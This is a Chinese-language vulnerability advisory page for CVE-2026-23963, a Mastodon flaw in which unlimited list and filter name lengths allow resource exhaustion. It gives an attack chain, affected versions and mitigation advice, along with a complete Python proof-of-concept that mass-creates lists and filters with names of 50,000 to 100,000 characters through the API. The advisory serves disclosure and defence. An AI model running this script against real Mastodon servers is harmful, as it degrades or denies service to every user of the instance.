IPBUF安全漏洞报告
English
CVE-2026-23963 CVSS 4.3 中危

Mastodon列表/过滤器名称长度未限制导致资源耗尽(CVE-2026-23963)

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23963
漏洞类型
资源耗尽/拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mastodon

相关标签

资源耗尽拒绝服务输入验证缺失MastodonActivityPubAPI滥用CVE-2026-23963中危漏洞

漏洞概述

Mastodon是一个免费的、开源的基于ActivityPub协议的社交网络服务器。2026年1月披露的安全漏洞显示,在4.5.5、4.4.12和4.3.18之前的版本中,服务器未对列表(list)名称、过滤器(filter)名称或过滤器关键词的最大长度进行限制。这一缺陷允许任何用户设置任意长度的字符串作为名称或关键词。本地用户可以滥用列表或过滤器字段,造成不成比例的存储和计算资源消耗。此外,攻击者还可以通过设置超长的名称或关键词导致自己的Web界面无法使用,尽管这需要攻击者有意为之或不知情地批准恶意API客户端。该漏洞虽然不会直接导致敏感数据泄露或远程代码执行,但会严重影响服务器性能和用户体验,属于典型的资源耗尽型拒绝服务漏洞。攻击者利用此漏洞可以在多用户环境中造成服务降级,影响所有依赖该服务器的用户。

技术细节

该漏洞的根本原因在于Mastodon服务器端缺少对用户输入字段的长度验证机制。在正常的安全设计中,服务器应当对所有用户可控的输入字段实施严格的边界检查,防止恶意用户提交超长数据。具体而言,问题出现在Mastodon的列表创建和过滤器管理功能模块中。当用户创建列表或设置过滤器时,系统直接接受并存储用户提供的名称字符串,而没有检查其长度是否在合理范围内。攻击者可以通过API接口发送包含数万甚至数十万字符的字符串作为列表名称或过滤器关键词。由于每个列表和过滤器都会在数据库中创建记录,并在Web界面渲染时进行加载和处理,超长字符串会导致数据库存储空间浪费、查询性能下降、内存消耗增加,以及前端渲染时间过长等问题。在严重情况下,服务器可能因内存耗尽而出现响应缓慢或服务中断。攻击者利用此漏洞需要具备有效的用户账号(低权限即可),无需特殊权限或管理员操作。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Mastodon服务器版本,确认其版本在漏洞影响范围内(4.5.5、4.4.12、4.3.18之前的版本)
STEP 2
步骤2: 获取访问凭证
攻击者注册账号或利用已有账号获取有效的API访问令牌(token),该令牌只需低权限用户即可
STEP 3
步骤3: 构造恶意请求
攻击者构造包含超长字符串(可长达数万至数十万字符)的列表名称或过滤器关键词的API请求
STEP 4
步骤4: 发送恶意请求
通过POST请求到/api/v1/lists或/api/v2/filters端点,提交超长名称或关键词,服务器未进行长度验证即接受
STEP 5
步骤5: 资源消耗
超长数据被存储到数据库,同时在前端渲染和API响应时消耗大量内存和CPU资源
STEP 6
步骤6: 批量放大攻击
攻击者可以批量创建多个包含超长名称的列表或过滤器,进一步放大资源消耗效果
STEP 7
步骤7: 服务降级
服务器性能严重下降,响应时间增加,在严重情况下可能导致服务中断或崩溃

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-23963 PoC - Mastodon Resource Exhaustion via Unlimited List/Filter Names # This PoC demonstrates creating lists with extremely long names to cause resource exhaustion import requests import json import sys class MastodonResourceExhaustion: def __init__(self, target_url, access_token): self.target_url = target_url.rstrip('/') self.access_token = access_token self.headers = { 'Authorization': f'Bearer {access_token}', 'Content-Type': 'application/json' } def create_long_list_name(self, list_name_length=100000): """ Create a list with an extremely long name to exhaust server resources """ long_name = 'A' * list_name_length endpoint = f'{self.target_url}/api/v1/lists' payload = { 'title': long_name } try: response = requests.post(endpoint, headers=self.headers, json=payload, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Successfully created list with name length: {list_name_length}') print(f'[+] List ID: {data.get("id")}') return data.get('id') else: print(f'[-] Failed to create list. Status: {response.status_code}') print(f'[-] Response: {response.text}') return None except Exception as e: print(f'[-] Error: {str(e)}') return None def create_filter_with_long_keywords(self, keyword_length=100000, keyword_count=10): """ Create filters with extremely long keywords to exhaust server resources """ endpoint = f'{self.target_url}/api/v2/filters' for i in range(keyword_count): long_keyword = 'B' * keyword_length payload = { 'phrase': long_keyword, 'context': ['home', 'notifications', 'public', 'thread'], 'irreversible': False, 'whole_word': False } try: response = requests.post(endpoint, headers=self.headers, json=payload, timeout=30) if response.status_code == 200: data = response.json() print(f'[+] Created filter {i+1}/{keyword_count} with keyword length: {keyword_length}') print(f'[+] Filter ID: {data.get("id")}') else: print(f'[-] Failed to create filter {i+1}. Status: {response.status_code}') except Exception as e: print(f'[-] Error creating filter {i+1}: {str(e)}') def mass_create_exhaustion(self, count=100, name_length=50000): """ Mass create lists with long names to maximize resource exhaustion """ print(f'[*] Starting mass resource exhaustion attack...') print(f'[*] Creating {count} lists with {name_length} char names each') created_ids = [] for i in range(count): list_id = self.create_long_list_name(name_length) if list_id: created_ids.append(list_id) if (i + 1) % 10 == 0: print(f'[*] Progress: {i+1}/{count} lists created') print(f'[+] Attack complete. Created {len(created_ids)} lists') print(f'[+] Total characters submitted: {len(created_ids) * name_length}') return created_ids if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_23963_poc.py <target_url> <access_token> <attack_type>') print('Example: python cve_2026_23963_poc.py https://mastodon.example.com your_token single') print('Attack types: single, filter, mass') sys.exit(1) target = sys.argv[1] token = sys.argv[2] attack_type = sys.argv[3] exploit = MastodonResourceExhaustion(target, token) if attack_type == 'single': exploit.create_long_list_name(100000) elif attack_type == 'filter': exploit.create_filter_with_long_keywords(100000, 10) elif attack_type == 'mass': exploit.mass_create_exhaustion(100, 50000) else: print('Unknown attack type') sys.exit(1)

影响范围

Mastodon < 4.3.18
Mastodon < 4.4.12
Mastodon < 4.5.5

防御指南

临时缓解措施
在官方补丁发布之前,可以通过反向代理(如Nginx)添加请求体大小限制,或在应用层添加中间件对输入字段长度进行验证。建议限制列表名称、过滤器名称和关键词的长度在合理范围内(如256字符以内)。同时监控API请求模式,对频繁创建列表或过滤器的行为进行告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表